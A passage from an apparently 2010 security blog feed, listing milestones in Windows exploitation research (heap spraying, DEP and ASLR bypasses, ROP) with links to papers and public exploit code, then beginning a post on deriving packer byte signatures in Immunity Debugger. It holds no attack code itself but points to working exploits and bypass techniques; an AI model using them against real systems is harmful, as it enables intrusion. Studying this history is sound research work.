<p><a href="http://www.exploit-db.com/exploits/612">http://www.exploit-db.com/exploits/612</a></p>
<p>heap spray is one of most important technologies even in modern exploitation and it&#8217;s about <span style="font-family: sans-serif;">code that <em>sprays the heap</em> attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process&#8217; heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run.</span></p>
<p>for a few years heap spray was just used in java script and mostly in browsers but today modern attackers are using anything possible to allocate more heap for sparing .  like action script , silver light , bmp files and &#8230; and not just in browsers !  from my point of view heap spray is like cheating in modern exploitation !</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skape.png"><img class="aligncenter size-full wp-image-1137" title="skape" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/skape.png" alt="" width="130" height="174" /></a></p>
<p>8- bypassing hardware-enforced DEP skape (matt miller) Skywing (ken johnson) (in October 2005)</p>
<p><a href="http://www.uninformed.org/?v=2&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=2&amp;a=4&amp;t=pdf</a></p>
<p>yay ! they finally did it . hardware enforced DEP bypassed by using a return to libc style attack . in simple explanation  the problem was in not CPU the problem and weakness was in windows related API that was used for setting DEP for various process. and the API was NtSetInformationProcess. but there was some simple problem in that article like they forget talk about it we need to to have EBP always writable.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/brett-moore.jpg"><img class="aligncenter size-full wp-image-1139" title="brett-moore" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/brett-moore.jpg" alt="" width="129" height="189" /></a></p>
<p>9- Exploiting Freelist[0] On XP Service Pack 2 by brett moore (dec 2005)</p>
<p><a href="http://www.orkspace.net/secdocs/Windows/Protection/Bypass/Exploiting%20Freelist%5B0%5D%20On%20XP%20Service%20Pack%202.pdf" target="_blank">download here</a></p>
<p>this is was another great example of bypassing heap protections by using Freelist[0] and really useful is some case .</p>
<p>10 -  later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed</p>
<p><a href="http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=3&amp;a=4&amp;t=pdf</a></p>
<p>this article was great article for porting exploits to kernel-land.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hd_moore.jpg"><img class="aligncenter size-full wp-image-1140" title="hd_moore" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hd_moore.jpg" alt="" width="168" height="112" /></a></p>
<p>11-  in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows</p>
<p><a href="http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf" target="_blank">http://www.uninformed.org/?v=6&amp;a=2&amp;t=pdf</a></p>
<p>good example of real-world driver exploitation.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ruben_rooted.png"><img class="aligncenter size-thumbnail wp-image-1174" title="ruben_rooted" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ruben_rooted-150x150.png" alt="" width="150" height="150" /></a></p>
<p>12-  in 2007  Ruben Santamarta wrote Exploiting Comon Flaws In Drivers</p>
<p><a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1" target="_blank">Read it here</a></p>
<p>note that before ruben we can find lots of great research about this topic but  ruben makes  it different . he  made a tool that called kartoffel which is a great driver fuzzer for finding IOCTL vulnerabilities  in drivers. but kartoffel was not main reason to make it different.</p>
<p>after he wrote kartofell and published lots of detailed advisories in various vendor drivers , windows driver exploitation got speed and changed to one of focusable area in exploitation .</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/alex-sotirov.jpg"><img class="aligncenter size-medium wp-image-1143" title="alex-sotirov" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/alex-sotirov-294x300.jpg" alt="" width="206" height="210" /></a></p>
<p>13- Heap Feng Shui in JavaScript by Alexander sotirov (2007)</p>
<p><a href="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf" target="_blank">http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf</a></p>
<p>notable improvements to skylined heap spray technology . heap spray was good but blind and not so reliable is some case.  Heap Feng Shui is great research about doing advanced FU in heap  (heap manipulation) it will lead you to have more control on heap.</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/nico.png"><img class="aligncenter size-medium wp-image-1144" title="nico" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/nico-204x300.png" alt="" width="143" height="210" /></a></p>
<p>14- Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007)</p>
<p><a href="http://kkamagui.springnote.com/pages/1350732/attachments/579350" target="_blank">http://kkamagui.springnote.com/pages/1350732/attachments/579350</a></p>
<p>nico is one of a few guys that focused on windows heap he also developed immunity debugger heaplib and did lots of great heap related researches. he is one of world leading heap !</p>
<p>15- Heaps About Heaps by brett moore (in 2008)</p>
<p><a href="http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt" target="_blank">http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt</a></p>
<p>that was one of most complete researches about heap. yes that is just a few slides but great hint if you want do something on heap !</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/mark-dowd.png"><img class="aligncenter size-full wp-image-1146" title="mark-dowd" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/mark-dowd.png" alt="" width="135" height="195" /></a></p>
<p>16- Bypassing browser memory protections in Windows Vista  by Mark Dowd and Alex Sotirov (in 2008)</p>
<p><a href="http://taossa.com/archive/bh08sotirovdowd.pdf" target="_blank">http://taossa.com/archive/bh08sotirovdowd.pdf</a></p>
<p>one of most greatest exploitation related research with a focus on bypassing browsers memory protections in vista .</p>
<p>great  generic .net shellcode trick (loading a .net dll and use shellcode in it),  java spraying , deep into  combined protections  and great ways to bypassing them.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ben-hawkes.png"><img class="aligncenter size-full wp-image-1148" title="ben-hawkes" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/ben-hawkes.png" alt="" width="128" height="128" /></a></p>
<p>17 &#8211; Attacking the Vista Heap by ben hawkes (in 2008)</p>
<p><a href="http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf" target="_blank">http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf</a></p>
<p>great research about vista heap internals and some ways to bypassing vista heap protections.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hovav.jpg"><img class="aligncenter size-full wp-image-1149" title="hovav" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/hovav.jpg" alt="" width="100" height="113" /></a></p>
<p>18- Return oriented programming Exploitation without Code Injection by Hovav Shacham  (and others ) (in 2008)</p>
<p><a href="http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf" target="_blank">http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf</a></p>
<p>not a so new technology. it&#8217;s just our old code reuse ! but with great official introduction he call it  Return-Oriented-Programming (now known as ROP ). this technology is great to bypass permanent DEP (vista / 7 / 2008) (because you can&#8217;t use return-to-libc style attack anymore)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/cesar_cerrudo.gif"><img class="aligncenter size-full wp-image-1178" title="cesar_cerrudo" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/cesar_cerrudo.gif" alt="" width="100" height="128" /></a></p>
<p>19- Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 (2008)</p>
<p><a href="http://www.argeniss.com/research/TokenKidnapping.pdf" target="_blank">http://www.argeniss.com/research/TokenKidnapping.pdf</a></p>
<p>20- Defeating DEP Immunity Way by Pablo sole (2008)</p>
<p><a href="http://www.immunityinc.com/downloads/DEPLIB.pdf" target="_blank">http://www.immunityinc.com/downloads/DEPLIB.pdf</a></p>
<p>first automation of ROP . thats it ;)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/jmold.png"><img class="aligncenter size-full wp-image-1150" title="jmold" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/jmold.png" alt="" width="90" height="90" /></a></p>
<p>21- Practical Windows XP2003 Heap Exploitation (bh 2009) by John McDonald and Chris Valasek.</p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf" target="_blank">http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf</a></p>
<p>if you want write a heap exploit for modern OS . you should read this one . most complete heap related article .</p>
<p>22- Bypassing SEHOP  by Stefan Le Berre Damien Cauquil (in 2009)</p>
<p><a href="http://www.sysdream.com/articles/sehop_en.pdf" target="_blank">http://www.sysdream.com/articles/sehop_en.pdf</a></p>
<p>cool and good research ! but ALSR will make it not so useful because SEHOP = SEHOP + ASLR</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dark-dion-01.jpg"><img class="aligncenter size-medium wp-image-1151" title="dark-dion-01" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/dark-dion-01-300x225.jpg" alt="" width="210" height="158" /></a></p>
<p>23- Interpreter Exploitation  : Pointer Inference and JIT Spraying by Dionysus Blazakis (2010)</p>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf" target="_blank">http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf</a></p>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf" target="_blank">http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf</a></p>
<p>Great ! exploitation is still alive . generic exploitation method for bypassing DEP and ASLR together . if you read and understand it you can write lots of exploits for windows 7 !</p>
<p>24- write-up of Pwn2Own 2010 by <span style="font-family: Verdana, Helvetica, Arial, Geneva, sans-serif; line-height: 18px; font-size: 12px; color: #333333;"> Peter Vreugdenhil (2010)</span></p>
<p><a href="http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf" target="_blank">http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf</a></p>
<p>a great and short article about how to own DEP+ASLR without any 3rd-party plugin</p>
<p>(used two vulnerability and toke around 4 minutes)</p>
<p>25- ruben santamarta all in one 0day presented in rootedCON (2010)</p>
<p><a href="http://wintercore.com/downloads/rootedcon_0day_english.pdf" target="_blank">http://wintercore.com/downloads/rootedcon_0day_english.pdf</a></p>
<p>some great idea for bypassing IE XSS Filter and protected mod not exploitation specific but it&#8217;s great for being combined with other exploitation methods .</p>
<p>=========================================================</p>
<h3><strong>history of some not so typical windows exploits:</strong></h3>
<p>in this section i&#8217;m going to archive some of interesting exploits i saw you can learn lots of things from them !</p>
<p>1- one of first real-world HW-DEP bypass Exploit by devcode : <a href="http://www.exploit-db.com/exploits/3652" target="_blank">here</a></p>
<p>2- bypassing DEP by returning into HeapCreate by toto : <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7246/entry/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb" target="_blank">here</a></p>
<p><a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7246/entry/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb" target="_blank"></a>3- first public ASLR bypass exploit by using partial overwrite  by skape (matt miller) : <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/email/ani_loadimage_chunksize.rb" target="_blank">here</a></p>
<p>4- heap spray and bypassing DEP by skylined : <a href="http://skypher.com/SkyLined/download/www.edup.tudelft.nl/~bjwever/exploits/InternetExploiter2.zip" target="_blank">here</a></p>
<p>5- first public exploit that used ROP  for bypassing DEP in adobe lib TIFF vulnerability : <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8833/raw/modules/exploits/windows/fileformat/adobe_libtiff.rb" target="_blank">here</a> (is this case ASLR bypass is possible !)</p>
<p>6-  exploit codes of bypassing browsers memory protections : <a href="http://phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections-code.zip" target="_blank">here</a></p>
<p>7-  Cesar Cerrudo PoC&#8217;s on Tokken TokenKidnapping .  PoC for  2k3: <a href="http://www.argeniss.com/research/Churrasco.zip" target="_blank">here</a> , PoC 2k8: <a href="http://www.argeniss.com/research/Churrasco2.zip" target="_blank">here</a></p>
<p>8- Tavis Ormandy KiTra0d an exploit works from win 3.1 to win 7 . PoC <a href=" http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip" target="_blank">here</a> (metasploit updated module works more interesting !)</p>
<p>9- old ms08-067 metasploit module multi-target and DEP bypass  PoC <a href="http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb" target="_blank">here</a></p>
<p>10- PHP 6.0 Dev str_transliterate() Buffer overflow &#8211; NX + ASLR Bypass (using ROP and Brute Forcing ASLR) PoC <a href="http://www.exploit-db.com/exploits/12189" target="_blank">here</a></p>
<p>11- Stephen Fewer SMBv2 Exploit . PoC <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8916/raw/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb" target="_blank">here</a></p>
<p>note 1  :there is lots of other interesting exploits in windows platform you can just find them in <a href="www.exploit-db.com" target="_blank">here</a> and also <a href="www.metasploit.com" target="_blank">here</a> .</p>
<p>note 2: i saw lots of other great and advanced exploits in commercial packages . (they are commercial so forget them ;) )</p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong>===================================================</strong></p>
<p><strong><span style="font-weight: normal;"> </span></strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<h3><strong>history of related windows exploitation books !</strong></h3>
<p>in this section i&#8217;m going to archive some books about windows exploitation.</p>
<p>1- Exploiting Software How to Break Code By (Greg Hoglund, Gary McGraw)</p>
<p>2- The Art of Software Security Assessment: Identifying and Preventing Software  Vulnerabilities (By <a class="v1" target="_new">Mark Dowd</a>, <a class="v1" target="_new">John McDonald</a><a class="v1" target="_new">)</a></p>
<p>3- Buffer Overflow Attacks: Detect, Exploit, Prevent (by James C. Foster)</p>
<p>4- Windows Internals (by <span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal; font-size: small;">Mark Russinovich , David A. Solomon, Alex Ionescu)</span></p>
<h3><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal; font-size: xx-small;">5-  <span style="font-weight: normal;">The Shellcoders Handbook Discovering and Exploiting Security</span></span></span></h3>
<h5><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal; font-size: xx-small;"><span style="font-weight: normal;"><strong><span style="font-weight: normal;">(by Jack Koziol, David Litchfield, Dave Aitel, </span><span style="font-size: 13px;"><span style="font-weight: normal;">Chris Anley, Sinan Eren, Neel Mehta, and Riley Hassell)</span></span></strong></span></span></span></h5>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">6- Software Vulnerability Guide ( by HERBERT H. THOMPSON , SCOTT G. CHASE)</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">7- ADVANCED WINDOWS DEBUGGING (by Mario Heward , Daniel Pravat)</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">8- Reversing: Secrets of Reverse Engineering</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">9- great step by step exploit writing tutorials by my friend <span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 20px;">Peter Van Eeckhoutte <span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;">:</span></span></span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;"><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 20px;"><span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/head1_thumb636_thumb13_thumb.jpg"><img class="aligncenter size-thumbnail wp-image-1169" title="head1_thumb636_thumb13_thumb" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/head1_thumb636_thumb13_thumb-150x150.jpg" alt="" width="150" height="150" /></a><br />
</span></span></span></span></p>
<ol>
<li><span style="color: #000000;">Exploit writting tutorial part 1:Stack Based Overflows</span><span style="color: #000000;"> &#8211; </span><span style="color: #000000;"><a href="http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 2: Stack Based Overflows &#8211; jumping to shellcode</span><span style="color: #000000;"> &#8211; <a href="http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 3: SEH Based Exploits</span><span style="color: #000000;"> &#8211; <a href="http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 3b: SEH Based Exploits</span><span style="color: #000000;"> </span><span style="color: #000000;">- just another example  - <a href="-http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 4: From Exploit to Metasploit &#8211; <a href=" The basics -http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 5:  speed up basic exploit development &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/ " target="_blank">here</a></span></li>
<li><span style="color: #000000;"><span style="color: #000000;">Exploit writting tutorial part 6: Bypassing GS, SafeSeh, SEHOP, HW DEP and ASLR &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/" target="_blank">here</a></span></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 7: Unicode &#8211; from 0&#215;00410041 to calc &#8211; <a href="-http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 8: Win32 Egg Hunting </span><span style="color: #000000;">- <a href="http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/" target="_blank">here</a></span></li>
<li><span style="color: #000000;">Exploit writting tutorial part 9: Introduction to Win32 shellcoding &#8211; <a href="-http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ " target="_blank">here</a></span></li>
</ol>
<p>also he wrote a cool immunity debugger PyCommand called <a href="http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/" target="_blank">PveFindAddr</a> i think this python script is necessary for speed-up exploit development for newbie or expert exploit developers and i found it so useful , it have some cool features like finding instructions for code reuse and ROP also finding state of memory protections and finding best return address in your situation.</p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif; line-height: normal;">this is not complete lits of exploitation related book / articles list i just listed those had at least one windows specific chapter .</span></p>
<h2 style="text-align: center;">PART III : Future of exploitation</h2>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/05/haxor.gif"><img class="aligncenter size-thumbnail wp-image-1201" title="haxor" src="http://www.abysssec.com/blog/wp-content/uploads/2010/05/haxor-150x150.gif" alt="" width="150" height="150" /></a></p>
<p><strong><span style="color: #ff00ff;">Starrin</span><span style="font-family: arial, sans-serif;"><span style="line-height: 16px;"><span style="color: #ff00ff;">g : T.B.A </span></span></span></strong></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">1-</span> exploitation is not and will not die.</span></p>
<p><span style="color: #000000;">2- </span><span style="color: #000000;">just will change and being more harder also won&#8217;t be &#8221; just for fun&#8221; like before. </span></p>
<p><span style="color: #000000;">3- </span><span style="color: #000000;">writing reliable exploits will take time and time == money and now exploit development is acceptable specific job in security area !</span></p>
<p><span style="color: #000000;">4- </span><span style="color: #000000;">fame == money as well (also is lovely by itself) .  so you will see other great researches in various security fields ;)</span></p>
<p><span style="color: #000000;">5- </span><span style="color: #000000;">if you read all of resources exist in post you can be a great exploit developer ; )</span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">PS1 : during writing this post due to lots of links and peoples on it maybe i forgot some notable people / article you can alert me about them just by shahin [at] abysssec.com </span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">PS2 : i wrote this post so fast (and took long time !) i will edit my Misspellings and grammatical in good time.</span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">i need to go and take 0XCC00FFEE . </span></span></p>
<p><span style="font-family: verdana, arial, helvetica, sans-serif;"><span style="line-height: normal;">have fun .</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Immunity Debugger PeDetect and the art of signature generation</title>
		<link>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/</link>
		<comments>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 10:55:38 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[reversing]]></category>
		<category><![CDATA[Anti virus]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Immunity Debugger]]></category>
		<category><![CDATA[PE]]></category>
		<category><![CDATA[PeDetect]]></category>
		<category><![CDATA[PyCommand]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[signature]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=415</guid>
		<description><![CDATA[hello to you all i,m really sorry for our late  in posting we really working on lots of things &#8230; before starting about our subject i should  tell you about our advisories and exploits we are not  really full-disclosure believers but still we will post some more exploits and advisories at  : http://www.exploit-db.com/author/abysssec so stay [...]]]></description>
			<content:encoded><![CDATA[<p>hello to you all</p>
<p>i,m really sorry for our late  in posting we really working on lots of things &#8230; before starting about our subject i should  tell you about our advisories and exploits we are not  really full-disclosure believers but still we will post some more exploits and advisories at  :</p>
<p><a title="http://www.exploit-db.com/author/abysssec " href="http://www.exploit-db.com/author/abysssec " target="_blank"> http://www.exploit-db.com/author/abysssec </a></p>
<p>so stay tuned.</p>
<p>OK let&#8217;s start  &#8230;.</p>
<p>=========================================</p>
<p>before start if you are not familiar with PE  : The <strong>Portable Executable</strong> (PE) format is a <a title="File format" href="http://en.wikipedia.org/wiki/File_format">file format</a> for <a title="Executable" href="http://en.wikipedia.org/wiki/Executable">executables</a>, <a title="Object file" href="http://en.wikipedia.org/wiki/Object_file">object code</a>, and <a title="Dynamic-link library" href="http://en.wikipedia.org/wiki/Dynamic-link_library">DLLs</a>, used in 32-bit and 64-bit versions of <a title="Microsoft Windows" href="http://en.wikipedia.org/wiki/Microsoft_Windows">Windows</a> <a title="Operating system" href="http://en.wikipedia.org/wiki/Operating_system">operating systems</a>. The term &#8220;portable&#8221; refers to the format&#8217;s versatility in numerous environments of operating system software architecture.</p>
<p style="text-align: left;">for more information  :  http://en.wikipedia.org/wiki/Portable_Executable</p>
<p>- now the first question is what is a signature ?</p>
<p>a signature actually  is what that means but in computer world and more specific in reverse engineering and binary auditing  world a signature is a sequence of  unique instructions (actually their representation op-codes) in target binary.</p>
<p>for better understanding please watch figure 1</p>
<p style="text-align: center;"><img class="aligncenter" title="figure-1" src="http://i46.tinypic.com/2ak9soj.png" alt="" width="402" height="194" /></p>
<p style="text-align: center;">figure 1 &#8211; a c++ compiled binary opened in immunity debugger</p>
<p style="text-align: left;">reminiscence : an <strong>opcode</strong> (<strong>op</strong>eration <strong>code</strong>) is the portion of a <a title="Machine language" href="http://en.wikipedia.org/wiki/Machine_language">machine language</a> <a title="Instruction (computer science)" href="http://en.wikipedia.org/wiki/Instruction_%28computer_science%29">instruction</a> that specifies the operation to be performed.</p>
<p style="text-align: left;">in above figure it have tree red rectangular :</p>
<ul>
<li>first rectangular are RVA (relative virtual address) of instructions</li>
<li>second rectangular are OP-Codes (will be execute)</li>
<li>third rectangular are  readable assembly instructions</li>
</ul>
<p>so we will search for a sequence of unique op-codes (so sequence of instructions)  in our target binary and those byte will be signature of our binary. simple enough eh ?</p>
<p>- what and who need to use a signature ?</p>
<ul>
<li>most of anti-virus (and other anti-things)</li>
<li>and almost all of PE Detection tools</li>
</ul>
<p>so now you can imagine how  an anti-virus company can detect a malware and how  PE-Detection tools  (witch areused for detecting signature in compiled binary and determine compiler / packer / compressor and &#8230; )  works .</p>
<p>- next question is why we need care about signatures:</p>
<ul>
<li> before starting any fuzzing / reversing / auditing project we need to about our target binary</li>
<li> identify binaries those have not any signatures</li>
<li>with them we can speed up our reversing and we can find available tools against our target binary</li>
</ul>
<p>-how we can find signatures in binaries ?</p>
<p>we should search for static and constant location (static instructions) in our file but how we can find them? for answer to this question please watch PE file layout again :</p>
<p style="text-align: center;"><img class="aligncenter" title="PE File" src="http://i49.tinypic.com/iydh1d.gif" alt="" width="153" height="487" /></p>
<p style="text-align: center;">figure 2 &#8211; PE file layout</p>
<p style="text-align: left;">we can search for signatures in a few areas :</p>
<ul>
<li>around program entry point (where program instructions will start execution &#8230;)</li>
<li>from offset (from top to bottom)</li>
</ul>
<p>each executable file have some other locations can be good for generating signature those are :</p>
<ul>
<li>around import table (where functions will be import)</li>
<li>start and end of sections (optional section specially)</li>
<li>name of optional / static sections</li>
<li>&#8230;.</li>
</ul>
<p>so we can just open the executable  under debugger and copy a few OP-Codes from entry point and we are done ? of course not ! because in lots of situations entry point could be change  refer to various factors like :</p>
<ul>
<li>initializing addresses / variables with state of program</li>
<li>if we are in fighting against a packer / compressor / cryptor / there are several technologies they can use for hiding / changing instructions &#8230;</li>
</ul>
<p>note : these changes are more on not &#8220;just compiled binaries&#8221; it means those have a packer / protector and &#8230;.</p>
<p>so how we can find reliable signatures ?</p>
<p>we need to research about variant program situations  and then we can understand which bytes/instructions are constant and which are not then we  can ignore dynamic bytes and rely to static bytes.</p>
<p>before a  real case study i just want explain how packer/protectors works :</p>
<p>a packer will do what it sounds : packing a program. think  about winzip it will comperes the program and actually will decrease size of program .</p>
<p>elementary packers just will compress the portable executable and will change entry point to decompression section for better understanding just watch below figure.</p>
<p style="text-align: center;"><img class="aligncenter" title="packer" src="http://i48.tinypic.com/v58lj6.png" alt="" width="490" height="175" />figure 3 How typical packer runtime works</p>
<p style="text-align: left;">1. Original data is located somewhere in the packer code data section<br />
2. Original data is uncompressed to the originally linked location<br />
3. Control is transferred to original code entry point (OEP)</p>
<p style="text-align: left;">Ok now you know how a basic packer works but today modern packers are not just compressor they will use a lots of anti-debugging  technologies against debugger / disassembler to make reverser life harder. this technologies are out of scope of  this post.</p>
<p style="text-align: left;">Ok for example if we want to make  a signature for a new packer / protector we need to pack / protect variant  executable (it&#8217;s better  to test on different compiler / size)  and then watch which byte of files are changed and which one are static !</p>
<p style="text-align: left;">you can use binary copy option in immunity debugger for starting our test</p>
<p style="text-align: center;"><img class="aligncenter" title="binary copy" src="http://i48.tinypic.com/t0nms2.png" alt="" width="504" height="267" />figure 4 binary copy</p>
<p style="text-align: left;">this program is  packed with a really simple and good packer named FSG.</p>
<p style="text-align: left;">and my first signature will be :</p>
<p style="text-align: left;">87 25 5C AD 41 00 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33</p>
<p style="text-align: left;">so now i need to pack more files and check my selected Op-codes to know which one are changed and then we will replace changed op codes with ?? .  after a few try we will get a signature like  :</p>
<p style="text-align: left;">87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33</p>
<p style="text-align: left;">so if i search for these bytes i can find i can find them in any program those are packed with FSG v2 !</p>
